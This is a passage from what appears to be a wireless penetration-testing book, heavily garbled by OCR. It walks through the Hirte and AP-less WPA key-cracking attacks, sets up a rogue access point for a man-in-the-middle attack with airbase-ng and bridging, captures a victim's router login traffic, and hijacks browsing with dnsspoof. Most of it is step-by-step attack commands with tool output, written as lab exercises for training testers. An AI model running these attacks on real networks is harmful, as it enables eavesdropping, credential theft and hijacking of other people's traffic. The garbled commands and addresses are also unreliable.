We will now use aircrack-ng to conduct a Hirte attack on the same client. 


Time for action — cracking WEP with the Hirte attack 


Follow these instructions to get started: 





1. Create a WEP access point exactly as in the Caffe Latte attack using the airbase-ng 
tool. The only additional option is the -N option instead of the -L option to launch 


the Hirte attack: 








root@kkalt: ~ ' root@kali: ~ 
-~# airbase-ng -c 3 -a@ E£8:94:Fe:62:1E:8E -e “Wireless Lab" -L -W 1 mon 





2. Start airodump-ng ina separate window to capture packets for the Wireless 
Lab Honeypot: 


[~# airodump-ng -c 3 --bssid 8@0:1F:02:8F:34:D5 --write Hirte mong 





3. Now, airodump-ng will start monitoring this network and storing the packets in 
the Hirte-01.cap file: 


3 ][ Elapsed: @ s J[ 2014-11-08 16:54 J][ fixed channel mon: -1 


PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 


G 100 32 é : 3 5 W WEP W 


°92:8F:34:D05 


STATION W Mela Frames Probe 
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4. Once the roaming client connects to our Honeypot AP, the Hirte attack is 
automatically launched by airbase-ng: 





[“# airbase-ng -c 3 -e@ "Wireless Lab" -W 1 -N mon@ 
2:48 Created tap interface at0 
9:52:46 Trying to set MTU on at® to 1500 
°57:48 Access Point with BSSID 80:1F:02:8F:34:D5 started. 
: Got channel -l, expected a value = @. 


‘31 06Client G@6@:EE:BD:B3:67:DE associated )} to ESSID: "Wireless Lab" 
"65:63 Client 60:EE:BD:B3:627:DE associated (WEP) to ESSID: "Wireless Lab" 
°55:0/ Starting Hirte attack against OG@:EE:BD:B3:62:DE at 100 pps. 





5. Westart aircrack-ng as in the case of the Caffe Latte attack and eventually, 
the key will be cracked. 


What just happened? 


We launched the Hirte attack against a WEP client that was isolated and away from the 
authorized network. We cracked the key exactly the same way as in the Caffe Latte attack case. 





We recommend setting different WEP keys on the client and trying this exercise a couple of 
times to gain confidence. You may notice many times that you may have to reconnect the 
client to get it to work. 


In Chapter 4, we saw how to crack WPA/WPA2 PSK using aircrack-ng. The basic idea was 
to capture a four-way WPA handshake and then launch a dictionary attack. 


The million dollar question is: Would it be possible to crack WPA-Personal with just the 
client? No access point! 


Let's revisit the WPA cracking exercise to jog our memory: 
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Authentication RR, Association RR 
| Pre-Shared Key 256 bit 











Message. t.-w---sen77 
qennnennnnnnn ANounce 
Snounce 
Message 2 
Snounce + MIC 
Message 3 _nacnnnnnnnnennn 
no ierene “Key Installatto 





Message 4 


Key Install Acknowledgement 








To crack WPA, we need the following four parameters from the four-way handshake— 
Authenticator Nounce, Supplicant Nounce, Authenticator MAC, and Supplicant MAC. Now, 
the interesting thing is that we do not need all of the four packets in the handshake to extract 


this information. We can get this information with four packets; packets 1 and 2 or just packets 
2 and 3. 


In order to crack WPA-PSK, we will bring up a WPA-PSK Honeypot and, when the client 
connects to us, only Message 1 and Message 2 will come through. As we do not know the 
passphrase, we cannot send Message 3. However, Message 1 and Message 2 contain all 
the information required to begin the key cracking process: 





4 Way Handshake 


SNonce 


PNM Telalas 
Pre-Shared Key 256 bit > AP MAC 


Client MAC 





PBKDF2 (SSID) 


I 
Passphrase (8-63), 


Verify by Checking the MIC 














[1331 


Attacking the Client 





Time for action — AP-less WPA cracking 


1. Wewill set up a WPA-PSK Honeypot with the ESSID Wireless Lab. The -z 2 option 
creates a WPA-PSK access point, which uses TKIP: 


'~# airbase-ng -c 3 -e "Wireless Lab" -W 1 -z 2 mon@ 
Created tap interface at0 
Trying to set MTU on at@ to 1500 
16:56: Access Point with BSSID 8@:1F:02:8F:34:05 started. 
Error: Got channel -l, expected a value => @. 





2. Let's also start airodump-ng to capture packets from this network: 





-~# alrodump-ng -c 3 --bssid 80:1F:02:8F:34:D5 --write AP-Less-WPA-cracking mon@ 





3. Nowwhen our roaming client connects to this access point, it starts the handshake 
but fails to complete it after Message 2, as discussed previously; however, the data 
required to crack the handshake has been captured. 


4, \erun the airodump-ng capture file through aircrack-ng with the same 
dictionary file as before; eventually, the passphrase is cracked as before. 


What just happened? 


We were able to crack the WPA key with just the client. This was possible because, even with 
just the first two packets, we have all the information required to launch a dictionary attack 
on the handshake. 


We recommend setting different WEP keys on the client and trying this exercise a couple of 
times to gain confidence. You may notice many times that you have to reconnect the client 
to get it to work. 


Q1. What encryption key can the Caffe Latte attack recover? 


1. None 
2. WEP 
3. WPA 
4. WPA2 
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Q2. What would a Honeypot access point typically use? 


No Encryption, Open Authentication 
No Encryption, Shared Authentication 
WEP Encryption, Open Authentication 


ee. ie CE 


None of the above 
Q3. Which one of the following is a DoS Attack? 


Mis-Association attacks 
Deauthentication attacks 
Disassociation attacks 
Both 2 and 3 


oo oe ae ES 


Q4. What does the Caffe Latte attack require? 


That the wireless client be in radio range of the access point 
That the client contains a cached and stored WEP key 

WEP encryption with at least 128 bit encryption 

Both 1 and 3 


a ee 


Summary 


In this chapter, we learned that even the wireless client is susceptible to attacks. These 
include the Honeypot and other Mis-Association attacks; Caffe Latte attack to retrieve the 
key from the wireless client; deauthentication and disassociation attacks causing a Denial 
of service, Hirte attack as an alternative to retrieve the WEP key from a roaming client; 
and, finally, cracking the WPA-Personal passphrase with just the client. 


In the next chapter, we will use what we've learned so far to conduct various advanced 
wireless attacks on both the client and infrastructure side. So, quickly flip the page to the 
next chapter! 
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Advanced WLAN Attacks 


"To know your enemy, you must become your enemy." 


Sun Tzu, Art of War 


As a penetration tester, it is important to know the advanced attacks a hacker 
can do, even if you might not check or demonstrate them during a penetration 
test. This chapter is dedicated to showing how a hacker can conduct advanced 
attacks using wireless access as the starting point. 


In this chapter, we will take a look at how we can conduct advanced attacks using what 

we have learned so far. We will primarily focus on the man-in-the-middle attack (MITM), 
which requires a certain amount of skill and practice to conduct successfully. Once we have 
done this, we will use this MITM attack as a base from which to conduct more sophisticated 
attacks such as Eavesdropping and session hijacking. 


In this chapter, we will cover the following topics: 


@ MITM attack 
@ Wireless Eavesdropping using MITM 
@ Session hijacking using MITM 
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MITM attacks are probably one of the most potent attacks on a WLAN system. There 

are different configurations that can be used to conduct the attack. We will use the most 
common one—the attacker is connected to the Internet using a wired LAN and is creating 

a fake access point on his client card. This access point broadcasts an SSID similar to a local 
hotspot in the vicinity. A user may accidently get connected to this fake access point (or can 
be forced to via the higher signal strength theory we discussed in the previous chapters) 
and may continue to believe that he is connected to the legitimate access point. 


The attacker can now transparently forward all the user's traffic over the Internet using 
the bridge he has created between the wired and wireless interfaces. 


In the following lab exercise, we will simulate this attack. 


Time for action — man-in-the-middle attack 





Follow these instructions to get started: 


1. Tocreate the man-in-the-middle attack setup, we will first create a soft access 
point called mitm on the hacker laptop using airbase-ng. We run the following 
command: 


airbase-ng --essid mitm -c 11 mon0 


The output of the command is as follows: 


(~# airbase-ng --essid mitm -c ll mon@ 
'39 Created tap interface atO 


°59 Trying to set MTU on at to 15606 
"59 Access Point with BSSID BO:1F:07:8F:34:05 started. 





2.  \tis important to note that airbase-ng, when run, creates an interface ato (a tap 
interface). Think of this as the wired-side interface of our software-based access 
point mitm: 


:-# ifconfig at® 

Link encap:Ethernet HAWaddr 80:1f:02:8f:34:d5 
BROADCAST MULTICAST MTU:1500 Metric:1 

RX packets:90 errors:0 dropped:0 overruns:0 frame:0 


TX packets:0 errors:@ dropped:@ overruns:0 carrier:@ 
collisions:9 txqueueLlen:500 
RX bytes:@ (0.0 B) 1X bytes:0 (0.06 B) 
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Let's now create a bridge on the hacker's laptop, consisting of the wired (etho) and 
wireless interface (at 0). The succession of commands used for this is as follows: 


Q) 


Q) 


brcetl addbr mitm-bridge 
brcetl addif mitm-bridge etho 
brctl addif mitm-bridge ato 
ifconfig etho 0.0.0.0 up 


LECOnEIQ: -42t0 0.0.0.0 Up 


-~# ifconfig atO 


Link encap:Ethernet HWaddr 8@:1f:02:8T:34: 


BROADCAST MULTICAST MTU:1500 Metric:1 

RX packets:@ errors:0 dropped:@ overruns:@ 
TX packets:@ errors:0 dropped:@ overruns:@ 
collisions:@ txqueuelen:500 

RX bytes:0 (0.0 B) TX bytes:@ (0.0 B) 


-~# bretl addbr mitm-bridge 


=i 
-~-# bretl addif mitm-bridge ethd 
: it 

-~# bretl addif mitm-bridge at@ 
: = it 

-~-# ifconfig eth® 6.0.0.0 up 

i~H 

-~# ifconfig atO 6.0.0.0 up 

ae | 





d5 


frame: 
carrier:@ 


We can assign an IP address to this bridge and check the connectivity with the 
gateway. Please note that we can do this using DHCP as well. We can assign 
an IP address to the bridge interface with the following command: 


ifconfig mitm-bridge 192.168.0.199 up 


We can then try pinging the gateway 192.168.0.1 to ensure that we are 
connected to the rest of the network. 


Let's now turn on IP forwarding in the kernel, so that routing and packet 
forwarding can happen correctly, using the following command: 


echo 1 > /proc/sys/net/ipv4/ip forward 


The output of the command is as follows: 


-~# echo 1 = /proc/sys/net/ipv4/ip_ 


forward 
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6. Nowlet's connect a wireless client to our access point mitm. It will automatically 
get an IP address over DHCP (the server running on the wired-side gateway). The 
client machine in this case receives the IP address 192.168.0.197. Wecan ping 
the wired-side gateway 192 .168.0.1 to verify connectivity: 


C:\Users<\vivek\AppData\Local\msf 32 >ipconf ig 


Windows IP Configuration 


Wireless LAN adapter Wireless Metwork Connection: 


Connection-specific DNS Suffix 
Link-local IPv6 Address .. 
IPvu4 Aadddress. .... 

Subnet Mask . ... . 

Default Gateway . 


Feb: -693d:fad? -1424:c19%11 
192.168 .8.197 

255.255 .255 .8 

172.168 .6.1 





7. \Necansee that the host responds to the ping requests, as shown here: 


Co Users \vivek\AppData’\Local\msfa2>ping 192.168 .6.1 


Pinging 192.168.6.1 with 32 bytes of data: 

Reply from 192.168.6.1: bytes=32 time=lims TTL=64 
Reply from 192.168.6.1: bytes=32 time=-bms TTL=64 
Reply from 192.168.6.1: bytes=32 time=-18ms TTL=64 
Reply from 192.168.6.1: bytes=32 time=5ms ITTL=64 


Ping statistics for 192.168.86.1: 
Packets: Sent = 4, Received = 4, Lost = @ CH 
Approximate round trip times in milli-seconds: 
Minimum = Sms, Maximum = 18ms. Average = 1fms 





8. Wecanalso verify that the client is connected by looking at the airbase-ng 
terminal on the hacker's machine: 


-~# airbase-ng --essid mitm -c 11 mont 
12:04:42 Created tap interface att 
12:04:42 Trying to set MIU on at to 1500 


17:04:47 Access Point with BSSID 86:1F:07:8F:34:05 started. 
Error: Got channel -1l, expected a value = @. 
12:04:49 Client 20:10:/A:45:36:61 associated (unencrypted) to ESSID: "mitm" 





9. Itis interesting to note here that, because all the traffic is being relayed from the 
wireless interface to the wired-side, we have full control over the traffic. We can 
verify this by starting Wireshark and sniffing on the ato interface: 
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3) atO - Wireshark 
File Edit View Go Capture Analyze Statistics Telephony Tools Help 


BPeaa@e cgnok*o=a RKO OZ C0 BIG Get Hh SMEAR G 


Filter: >» | Expression... Clear Apply 
| Lael 











No, | Time | Source | Destination | Protoco | Info 





128 49.169142 IntelCor_35:fc:44 Broadcast ARP Who has 192.168.0.1? Tell 192.168.0.197 
129 49.170017 D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 1s at 00:21:91:d2:8e:25 


> Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 
>b Ethernet II, Src: Apple_44:99:4d (10:9a:dd:44:99:4d), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 
> Address Resolution Protocol (request) 





10. Let's now ping the gateway 192.168.0.1 from the client machine. We can see the 
packets in Wireshark (apply a display filter for ICMP), even though the packets are 
not destined for us. This is the power of man-in-the-middle attacks: 


ato - Wireshark 


File Edit View Go Capture Analyze Gtatistics Telephony Jools fielp 


Beate cuxo= ,cosos GIG eK BBO 


Filter: | kerry als Expression... Clear Apply 





No. | Destmation _Protoco | Info 

IntelCor_35:fcer44 Broadcast ABP who has 192,168.0.1? Tell 192.168.0.197 

0-Link_d2:8¢:25 IntelCor_35:fe:44 arp 192.168.0.1 13 et 00:21:91:d2:8:25 

192. 160.0.197 192. 168.0.1 TCMP —s Echo (ping) request (id=0x0001, seq(be/le)=03/21240, ttl=120) 
1 0,0060/ i¥Z.1638.0.1 iv2z. iGH.0. 19/7 ic Ere rep igeQx000] 21248, Ttle64 
5 1.001868 192. 168.0. 197 192.168.0,1 Echo (ping) request (id=0x0001, seq(be/le)=84/21S0a, ttl=128) 
6 1.002774 192.168.0.1 192. 168.0. 197 Echo (ping) reply (id=0"0001, seq(be/le)=84/21504, ttl=64) 
7 2.014760 192. 168.0.197 192.168.0.1 Echo (ping) request (id=0x0001, seq(be/le)=85/21760, ttl=128) 
8 2.015576  192.166.0.2 192. 168.0.197 Echo (ping) reply  {ideOx0001, seq(be/le)=65/21760, ttl=64) 
93,003574 192.168.0.197 192.168.0.1 Echo (ping) request (idsOx0001, seq(be/le)=86/22016, ttl=128) 
10 3.004563 192. 168.0.1 192. 168.0, 197 Echo (ping) reply (id=0x0001, seq(be/le)=86/22016, ttl=64) 


1, seq\be/le) eBa/2ilZz4 


> Ethernet II, Src: O-Link_d2:8e:25 (00:21:91:d2:8e:25), Dst: Intelcor_35:fc:44 (00:22:fb:35:fc:44) 
> Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Ost: 192.168.0.197 (192.168.0.197) 
v7 Internet Control Message Protocol 
Type: © (@cho (ping) reply) 
Code: 0 
Checksum: Ox5506 [correct] 
Identifier: OxoOo01 
Sequence number: 83 (G6x0053) 
Sequence number (LE): 21248 (05300) 
* Data (32 bytes) 
Data: 61626396465666768606a6b Gc GdGeGt 707172737475767761... 
[Langth: 32) 


rstuy 


_| Packets: 18 Displayed: 18 Marked: 0 Dropped: 0 || Profile: Default. 
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What just happened? 


We successfully created the setup for a wireless Man-in-the-Middle attack. We did this by 
creating a fake access point and bridging it with our Ethernet interface. This ensured that 
any wireless client connecting to the fake access point will perceive that it is connected 
to the Internet via the wired LAN. 





In the previous exercise, we bridged the wireless interface with a wired one. As we noted 
earlier, this is one of the possible connection architectures for an MITM. There are other 
combinations possible as well. An interesting one would be to have two wireless interfaces, 
one that creates the fake access point and the other interface that is connected to the 
authorized access point. Both these interfaces are bridged. So, when a wireless client 
connects to our fake access point, it gets connected to the authorized access point 

through the attacker's machine. 


Please note that this configuration would require the use of two wireless cards on the 
attacker's laptop. 


Check whether you can conduct this attack using the in-built card on your laptop along 
with the external one—bear in mind, you may not have the injection drives required for 
this activity. This should be a good challenge! 


Wireless Eavesdropping using MITM 


In the previous lab, we learned how to create a setup for MITM. Now, we will take a look 
at how to do Wireless Eavesdropping with this setup. 


The whole lab revolves around the principle that all the victim's traffic is now routed through 
the attacker's computer. Thus, the attacker can eavesdrop on all the traffic sent to and from 
the victim's machine wirelessly. 


Time for action — Wireless Eavesdropping 


Follow these instructions to get started: 





1. Replicate the entire setup as in the previous lab. Fire up Wireshark. Interestingly, 
even the MITM-bridge shows up. This interface would allow us to peer into the 
bridge traffic, if we wanted to: 
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Wireshark: Capture Interfaces 
Device Desenption Packets Packetsss 
lathe ok Cl ne ial & ™ | G 
® wand 
& mono 


ato 
 mitm-brdge 1Le2.160.0.9o 15 


er lany Preude-device that captures on all nterlaces i576 Online 


Busbmenl US bus purnber 1 
Website 


itlla 127.0.0.1 > 
* Wish the projects website 


Hil 


os User's Guide 


etha = The User's Golde lanliee wersiant 


wlamd 


. mend @ Sample Captures —y Security 
ata A Pich atbertment of eaarmela capture let on the mihi Work WEA Wireshark a5 securely a9 pengible 
mim-bnidge 
Preudo-device that captures on all intertaces 
§ USE bus number 1 
lo 


iia Capture Options 


Start a capture with detailed eptices 


Capture Help 


ee How to Capture 


‘Step by chap fe a tociecetul Capture ¢ebap 


es Network Media 


‘Specht: infarmation far capbering ec Dehernet, WLAN. ... 





J) Ready bo load or capture | Mo Packars Profle: Cetault 


2. Start sniffing on the ato interface so that we can monitor all traffic sent and 
received by the wireless client: 


ea Capturing from ato - Wireshark 
Marva] Ei View Go Gapture Analyze jtatistice Telephony Jools Help 


Bee@ete coax e= COs GH OG ee QF BMexr Q 
Alter: |= | Expteasion... clear Apply 


No. Tirre Equrca Bestination Protece | info 
1 0, 000000 IntelCor 35:fcrad Broadcast Who has 153,168.0.17 Toll 193,168,0, 157 
D-Link_d2:8e:25 Intel¢or_35:fe:aa 192.168.0.1 a5 at 00:21:91:d2:8e;25 
102. 160.0. 197 102. 160.0.1 ' Echo (pang) request fideOx0001, sagiba/lel=115/20040, ttl=i2o) 
Lea. 168..0.1 192. 168.0. 197 Echo (ping) reply fidetwoool, seqibeleleliSy2a44o, ttl=sa) 


7 1.001344 192. 168.0. 197 192, 1680.1 request (id=(n0001, seqibe/le)=Li6/25606, ttl=128) 
1.002166 183.168.0.1 192. 168.0. 187 reply {(ideQxO001, seqibe/le)=lié/ze6o6, ttl=sa) 
92.002556 192. 168.0.197 192. 168.0. 1 request (ideoxoool, seqibe/le)a117/29052, ttl=1z) 
10 7.008421 197. 148.0.1 192. 168.0. 197 reply lid=Ox0001, seq(be/le)=s117/29952, ttl=sa) 
113.001149 192.168.0.157 192. 168.0.1 request (id=0x0001, seq(be/le)=1ley30z08, ttl=128) 
129.002103  192.160.0.1 192. 160.0. 197 1cM reply (id=0x0001, seqibe/lel=110/20200, ttl-64) 


' Frame 1; GO bytes on wire [460 bits), GO bytes captured [4a0 bits] 
& Ethernet Il, sre: Intel¢er_s5:fe:44 (oo: se: fbisocte: 44), Det: Broadcast (Pts tt thi tt stt tt) 
' Address Resolution Protocol (request) 


fi ff ff ff ft tf ao ae fb 38 fe 40a oe O86 OO Ol 
08 00 08 84 00 61 @ 32 th 33 te 44 co a8 OO cS 
GO OS Oo Ob co oh O01 OO OO Oo Oo oo oe 
Ow OO wooo ooo oo Oo 


‘tO: <live capture in progress> File... || Packets: 14 Cesplayed: 14 Marked: 0 || Prehle: Default 
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3. Onthe wireless client, open up any web page. In my case, the wireless access 
point is also connected to LAN and | will open it up by using the address 
hetp:/ /192.168 20.1 


Authentication Required 


The server http://192.168.1.1:80 requires a username and 
password, The server says: TP-LINK Wireless N Router 
WR841N. 


User Name: 


Password: 





4, Signin with your password and enter the management interface. 


5. \n Wireshark, we should be seeing a lot of activity: 


: ata = Wireshark 
fle Edt Yiew Go Capture Analyte gratistics Telephony Jools Help 


SBeeaa en ke = o 
| . 4 Expresvien... Clear Agaphy 


b Frame 1: 60 bytes on wire (40 bits), 6&0 bytes captured (mo baits) 
(& Ethernet If, fre: IntelCor_33:fer4d (Oo: 2a: fbi 3s: fe:44), Dat: Broadcast (PPI PRL PPP PIPE LEE) 
b Address Rasolution Protocol (request) 


Oooo Off tt tt tt ft Tt OO 22 fh 2 te 44 Op 66 OO O1 
010 0800 05 64 00 01 00 22 #h 35 fe 44 20 a8 OO cS 
OOD OFF D0 OO DO OO OO cl oe DO Ol OO oe Oe Oo oe 
oso 6 oo oo oo Binigiigty tanger 


| les "TTippMiresharkMxxewhTia 1. || Packers: 790 Deepla ed: 290 Marked: 0 Cropped: o |) Prediles Ceefaule 
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6. Seta filter for http to see only the web traffic: 


mt os = = a cara ate - Wireshark 
fle Edit Yiew Go Capture Analyze Statistics Telephony Jools Help 


at We 


Fa 
= 





Destination Protece into | 


> Frame 150: 507 bytes on wire (4056 bits), 507 bytes captured (4066 bits) 

P Ethernet Il, sre: IntelCor_so:fc:44 (O0:g2:fbigS:fe:44), Det: D-Link_d2:be:25 (00: 21:91:d2:e8:25) 

b Internet Protocol, Src: 190, 168.0.197 (1o2.168.0, 197), Gat: Toe.188.0.1 (192.168.0.1) 

b Transmission Control Protocol, Src Port: 49468 (45468), Dst Port: http (80), Seq: 415, Ack: 8435, Len: 453 


Host: 192, 168.0. 14r4n 
User-Agent: Mozilla/S.0 (Windows; U; Windows NT 6.0; en-US; rvl.9.2.15) Gecko/20110303 Firefon/3.6.15 (.NET CLA 3.5.30729)\r\n 
decept: image/png,image/*:qs0.8,.9/*:qe0. 9 r\n 
ACcept-Lamguage: @n-us,en; qed. 5\rin 
Accept-Enceding: gzip, daflateyryn 
Accept. Charset: IS0- 8859. 1,utf-8;q=0. 7, ®;q=0.7\r\n 
Keep-dlove: 1154r\n 
Connection: keep: alaveyrin 
Ooo0 OO 21 81 dz ge 25 00 a fb 35 fc 44 06 OO 45 00 
O10 OF] ad ad 06 40 00 9 oe Se ef 60 an OO cS CO an 
Me OF G1 cl 36 09 So oe 45 (OL fe 65 Sf ba 42 50 18 
B00 42 Sd Sd7d oo OO a7 45 Sd 20 2f 49 6d 61 67 6S B]]}..GE T /Tmage 


| F ‘pAwresharkicOOlwhTsxM® 1... || Packets: 290 Displayed: 29 Marked: 0 Dropped: 0 





le: "fam 
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7. \Necan easily locate the HTTP post request that was used to send the password to 
the wireless access point: 


ato = Wireshark 


Menu] edit View Go Capture Analyze Statistics Telephony Jools Help 


a a ) , Ss ) 
: [tte | = | Expression... Clear Apply 
| | | j “Protece | ine 


P Fram 208: 502 bytes on wire (4016 bits), S02 bytes captured (2016 bits) 

b Ethernet IT, Sre: Intelcor so:fe:48 (Oo: saith: So: fe144), Dati D-Link _d2ise:25 (00:2: slid2:he:25) 

b Internet Protocol, Sre: 192.168.0.197 (192.168.0.197), Ost: 192.168.0.1 (192.168.0.1) 

b Transmission Control Protocol, Sre Port: 4aar2 (4nd72), Dat Port: http (80), Seq: SoG, Ack: legoa, Len: 


- 


b [Expert Infe (chat/Sequencel: GET /post_login. xml thash=ode7eGf Sca7acco2sesiedorerocebpeashal7ds HITP/1 iri) 
Request Methad: Ger 
Request UAL: (pest _ Logins em These Tent See ese or er eran 2 ps) ra 
Request Version: HITPy1.1 
Host: 192. 168.0.1\r\n 
Liser- agent: MozillasS.0 (windows; Uj; windows NT 6.0; @m-US) rvil.9.2.15) Geckes20110303 Firefows3.6.15 (.MET OLA 3.5, 90729) (ry 
fecept: text/html, applications xhtmlexml, applications smL:qs0. 9, %/ "1950.0, r\n 
Accept Language: én-us,6nj;qeo.Syryn 
Accept-Encoding: gzip. deflate yryn 
Accept-Charset: [50-S559-1,ut?-87q50. 7, *)q=0, 7yryn 
Keep-Alive: 115\r\n 
Connection: keep alive 
Arun 
0000 44 3b ao dd OO OO 47 


45 54 20 By 
1 Gc St 6 
Se eMSG 33-30 38 G4 39 63.65 37 36 63 65 G2 32 36 Se 


3/ HTTP Roqeest-urr | ad; 29 Marked: 0 Dropped: 0 


> Frame 208: 502 bytes on wire (4016 bits), 502 bytes captured (4016 bits) 

> Ethernet II, Src: Intelcor_38:fe:44 (00:22: fb:35:fc:44), Ost: D-Link_d2:@e:25 (00:21:91:d2:6e:25) 

» Internet Protecol, Src: 192.168.0.197 (192.168.0.197), Ost: 192.168,.0.1 (192. 168.0.1) 

> Transmission Control Protocol, Sre Port: 49472 (49472), Dst Port: http (80), Seq: 396, Ack: 16904, Len: 448 


> [Expert Info (Chat/Sequence): GET /post_login. xml thash=94e7eGf Sc474ceo2ses0edsca7Gceb2634b417d5 HITP/1.1\r\n] 
Ragquest Method: GET 


Request Version: HITP/1.1 
Host: 192. 168.0. 14\r4n 
User-Agent: Mozilla/S.0 (windows; U; Windows NT 6.0; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 
Accept: text/html, application/xhtml+xmL, application/xml:q=0.9, */*;q=0.8\r\n 
Accept-Language: en-us,en;q=0.5)r.n 
Accept-Encoding: gzip,deflateyr\n 
Accept-Charset: IS0-B8659-1,utf-8:q=0.7,*;qs0.7\r\n 
Keep-Alive: 115\r\n 
Conmection: keep-aliveyr\n 
rin 
44 ab e9 do oO OO 47 45 «54 20 Fe 


a a ee Be Bel ia 
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9. Expanding on the HTTP header, allows us to see that actually the password we entered 
in plain text was not sent as is; instead, a hash has been sent. If we take a look at the 
packet, labeled as number 64 in a screenshot on the previous page, we can see that a 
request was made for /md5 . js, which makes us suspect that it isamd5 hash of the 
password. It is interesting to note here that this technique may be prone to a replay 
attack if a cryptographic salt is not used on a per session basis in the creation of the 
hash. We leave it as an exercise for the user to find out the details, as this is not part 
of wireless security and hence beyond the scope of this book: 


a 


Vv 


> [Expert Info (Chat/Sequence): GET /post_login.xml?hash=94e7e8f 5c 474c69258308d9ce76ceb2634b417d5 HTTP/1.1\r\n] 


Request Method: GET 
Request URI: /post_lLogin.xml?hash=94e7e8f 5c474c69258308d9ce76ceb2634b417d5 
Request Version: HITP/1.1 





10. This shows how easy it is to monitor and eavesdrop on traffic sent by the client 
during a man-in-the-middle attack. 


What just happened? 


The MITM setup we created now allows us to eavesdrop on the victim's wireless traffic 
without the victim knowing. This is possible because, in an MITM,, all the traffic is relayed 
via the attacker's machine. Thus, all of the victim's unencrypted traffic is available for 
eavesdropping for the attacker. 





In today's world, all of us would like to keep what we search for on Google private. 
The traffic on Google search is unfortunately over HTTP and plain text by default. 


Can you think of an intelligent display filter you could use with Wireshark to view all 
Google searches made by the victim? 


One of the other interesting attacks we can build on top of MITM is application session 
hijacking. During an MITM attack, the victim's packets are sent to the attacker. It is now the 
attacker's responsibility to relay this to the legitimate destination and relay the responses 
from the destination to the victim. An interesting thing to note is that, during this process, 
the attacker can modify the data in the packets (if unencrypted and unprotected from 
tampering). This means he can modify, mangle, and even silently drop packets. 


In this next example, we will take a look at DNS hijacking over wireless using the MITM setup. 
Then, using DNS hijacking, we will hijack the browser session to https: //www. google.com. 
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Time for action — session hijacking over wireless 


1. Setup the test exactly as in the man-in-the-middle attack lab. On the victim, let's 
fire up the browser and type in https: //www. google.com. Let's use Wireshark 
to monitor this traffic. Your screen should resemble the following: 





Time Source Destination | Protoco | Info 
OPEC 0.6.0.0. IntelCor 35:fc:44 Broadcast ARP who has 192.168.0.17 Tell 192.168.0.197 
2 0.000603 D-Link_d2:8e:25 IntelCor_35:fc:44 ARP 192.168.0.1 is at 00:21:91:d2:8e:25 


6 3.415114 D-Link_d2:8e:25 Broadcast 





2. Apply a Wireshark filter for DNS and, as we can see, the victim is making DNS 
requests for https: //www. google.com: 


ato - Wireshark 
View Go Capture Analyze Statistics Telephony Tools Help 


SHAAH cuxe= Soosoe BI e=K0 


Filter: dns | ~ | Expression... Clear Apply 





No, | Time | Source | Destination | Protoco | Info 
5 2.000004 192.168.0.197 192.168.0.1 Standard query A google.com 


’ Frame 5: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) 
b Ethernet II, Src: IntelCor_35:fc:44 (00:22:fb:35:fc:44), Dst: D-Link_d2:8e:25 (00:21:91:d2:8e:25) 
b Internet Protocol, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1) 
b User Datagram Protocol, Src Port: 63500 (63500), Dst Port: domain (53) 
Y Domain Name System (query) 
Transaction ID: Ox72a3 
b Flags: 0x0100 (Standard query) 
Questions: 1 
Answer RRs: 0 
Authority RRs: 0 
Additional RRs: 0 
Vv Queries 
Y google.com: type A, class IN 
Name: google.com 
Type: A (Host address) 
Class: IN (0x0001) 
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3.  Inorder to hijack the browser session, we will need to send fake DNS responses that 
will resolve the IP address of https: //www. google.com to the hacker machine's 
IP address 192.168.0.199. The tool that we will use for this is called dnsspoof 
and the syntax is as follows: 


dnspoof -i mitm-bridge 


The output of the command is as follows: 


# dnsspoof -i mitm-bridge 


stening on mitm-bridge [udp dst port 53 and not sre 192.168.0.199] 





4, Refresh the browser windows and now, as we can see through Wireshark, as soon 
as the victim makes a DNS request for any host (including google.com), Dnsspoof 
replies back: 


: Capturing from atO - Wireshark 
File Edit View Go Capture Analyze Statistics Telephony Tools Help 


Bweaee cee xeo= ROOZGKO BG san ey 


Filter: dns ’ _ Expression... Clear Apply 














No, | Time Source | Destination | Protoco | Info 


8 7.509354 192, 168.021 192. 168.0.197 Standard query response A 192.168.0.199 


Frame 8: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) 
Ethernet II, Src: Alfa_3e:bd:93 (00:cO:ca:3e:bd:93), Dst: IntelCor_35:fc:44 (00:22:fb:35:fc:44) 
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.197 (192.168.0.197) 
User Datagram Protocol, Src Port: domain (53), Dst Port: 52664 (52664) 
Domain Name System (response) 
[Request In: 5] 
[Time: ©.007317000 seconds] 
Transaction ID: Oxd51d 
Flags: 0x8180 (Standard query response, No error) 
Questions: 1 
Answer RRs: 1 
Authority RRs: 0 
Additional RRs: O 
> Queries 
v Answers 
Yv google.com: type A, class IN, addr 192.168.0.199 
Name: google.com 
Type: A (Host address) 
Class: IN (0x0001) 
Time to live: 1 minute 
Data length: 4 
Addr: 192.168.0.199 (192.168.0.199) 
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5. Onthe victim's machine, we see an error that says Unable to connect. This is 
because we made the IP address for google.com as 192.168.0.199, which is 
the hacker machine's IP, but there is no service listening on port 80: 


S) Problem loading page - Mozilla Firefox 
fet Ede View Higtery Bookraarks Teck Hele Belated Links 


oo ¥ | “et a hips googe.com. 


i) Problens loading page 


Unable to connect 


Firefox can't establish a connection to the server at googhe.com. 


| TRE she could be temporary unavadable of toe bury Try aqeniin a dew moments, 
a ff you are unable to load any pages, check your computer's nébetee connection 
= Tf your computer or nebverk is prolected By & firewall or proxy, Make sure that 


Farefox i pertutted to atcedd the Web 





6. Let's run Apache on Kali using the following command: 


apachet2ctl start 


The output of the command is as follows: 


-~# apache2ctl start 
apache2: Could not reliably determine the server's fully qualified domain name, 
using 127.0.1.1 for ServerName 





7. Now, once we refresh the browser on the victim, we are greeted with the It Works! 
default page of Apache: 


Toots Hele elated Links 
— id & “~ http.'/google.com 
http: /googie.com/ 


It works! 
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8. This demonstration shows how it is possible to intercept data and send spoofed 
responses to hijack sessions on the victim. 


What just happened? 


We did an application hijacking attack using a Wireless MITM as the base. So what happened 
behind the scenes? The MITM setup ensured that we were able to see all the packets sent 
by the victim. As soon as we saw a DNS request packet coming from the victim, the Dnsspoof 
program running on the attacker's laptop sent a DNS response to the victim with the attacker 
machine's IP address that of google.com. The victim's laptop accepted this response and 
